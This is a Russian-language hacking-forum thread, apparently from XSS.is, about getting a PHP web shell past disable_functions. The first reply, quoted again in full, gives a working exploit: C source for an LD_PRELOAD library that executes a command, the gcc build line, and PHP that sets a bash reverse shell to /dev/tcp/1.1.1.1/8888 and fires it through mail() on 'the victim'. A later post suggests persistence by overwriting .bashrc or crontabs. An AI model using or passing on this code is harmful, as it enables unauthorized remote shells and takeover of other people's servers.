• XSS.stack #1 – первый литературный журнал от юзеров форума

Как сделать web шелл если disable_functions выставлены? (PHP)

Если в disabled_functions не выключена функция mail, часто работает такой трюк:

Пишешь примитивную разделяемую либу, единственное назначение которой при её подгрузке - исполнить команду из переменной, ну, скажем PAYLOAD:

C:
#include <sys/wait.h>
#include <unistd.h>
#include <stdlib.h>

void __attribute__((constructor)) init(void) {
    unsetenv("LD_PRELOAD");
    signal(SIGHUP, SIG_IGN);
    if (fork() != 0) {
        exit(EXIT_SUCCESS);
    }
    system(getenv("PAYLOAD"));
}

Компилируешь:

Bash:
gcc -fPIC -shared shared.c -o shared.so -ldl

Полученую либу (shared.so) загружаешь любым удобным способом на жертву (в раздел диска, смонтированный без noexec).

На жертве вызываешь php фунцию mail(), предварительно записав нужную команду (допустим, reverse shell) в переменную окружения PAYLOAD и путь до загруженной либы в переменную LD_PRELOAD

PHP:
putenv("PAYLOAD=bash -i &>/dev/tcp/1.1.1.1/8888 <&1"); // подставь свои IP:ПОРТ
putenv('LD_PRELOAD=путь_к_shared.so');
mail('', '', '');

mail() вызовет системный sendmail, тот подгрузит твою либу, она, в свою очередь исполнит PAYLOAD.

Если нужен stdout/stderr от исполненной нагрузки, можно сохранить вывод команды в файл (... > /tmp/output 2>&1) и прочитать его с помощью, напрмер:

PHP:
echo file_get_contents(/tmp/output);

Дерзай )
 
Если в disabled_functions не выключена функция mail, часто работает такой трюк:

Пишешь примитивную разделяемую либу, единственное назначение которой при её подгрузке - исполнить команду из переменной, ну, скажем PAYLOAD:

C:
#include <sys/wait.h>
#include <unistd.h>
#include <stdlib.h>

void __attribute__((constructor)) init(void) {
    unsetenv("LD_PRELOAD");
    signal(SIGHUP, SIG_IGN);
    if (fork() != 0) {
        exit(EXIT_SUCCESS);
    }
    system(getenv("PAYLOAD"));
}

Компилируешь:

Bash:
gcc -fPIC -shared shared.c -o shared.so -ldl

Полученую либу (shared.so) загружаешь любым удобным способом на жертву (в раздел диска, смонтированный без noexec).

На жертве вызываешь php фунцию mail(), предварительно записав нужную команду (допустим, reverse shell) в переменную окружения PAYLOAD и путь до загруженной либы в переменную LD_PRELOAD

PHP:
putenv("PAYLOAD=bash -i &>/dev/tcp/1.1.1.1/8888 <&1"); // подставь свои IP:ПОРТ
putenv('LD_PRELOAD=путь_к_shared.so');
mail('', '', '');

mail() вызовет системный sendmail, тот подгрузит твою либу, она, в свою очередь исполнит PAYLOAD.

Если нужен stdout/stderr от исполненной нагрузки, можно сохранить вывод команды в файл (... > /tmp/output 2>&1) и прочитать его с помощью, напрмер:

PHP:
echo file_get_contents(/tmp/output);

Дерзай )

спасибо!!! я словил прям мощный флэшбэк из 2007-2009 !
ну с другой стороны вспомнить то проще, чем с нуля изучить...
 
А в питоне есть подобная защита по типу вырубленных функ как в пхп?
точно не знаю, вроде было что-то, но обычно хостеры ничего не блокируют.

Ну я не настолько туп. Тогда возникает вопрос того почему shell_exec даёт пустой оутпут, дал бы ответ от функции. Также тогда ответ на запрос echo(ini_get('disable_functions')); не был бы shell_exec. Я тоже подозреваю что, что-то не то сделал, не может же быть чтобы документация ошиблась, наверное.
версия PHP? мб Suhosin какой-нибудь стоит?
 
8.1
Код:
php > shell_exec('uname');
PHP Warning:  Uncaught Error: Call to undefined function shell_exec() in php shell code:1
Stack trace:
#0 {main}
  thrown in php shell code on line 1
php > echo(`uname`);
PHP Warning:  Uncaught Error: Call to undefined function shell_exec() in php shell code:1
Stack trace:
#0 {main}
  thrown in php shell code on line 1
php > echo(ini_get('disable_functions'));
shell_exec

покажи ini_get('disable_functions');
 
Код:
php > echo(ini_get('disable_functions'));
php >
Ответ пуст

я подозреваю, что у тебя это работает, потому что ты меняешь неправильный php.ini - для CGI, а не для CLI
то есть для CLI, но не /etc/php/8.1/cli/php.ini

смотри
Код:
php --ini
 
мб кодировка php.ini сломана? или NBSP затесался вместо обычных пробелов.
попробуй сначала dos2unix php.ini, а потом открыть каким-нибудь не виндовым редактором и дописать (не скопипастить из начала!) в конец ещё раз
disable_functions = exec,shell_exec
(отсюда можешь скопипастить)
 
try levaraging mail() function for command execution, if you can bypass open_basedir and write over .bashrc, or user crontabs then do it so you can get command execution when the cron deamon reloads / user starts a shell.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх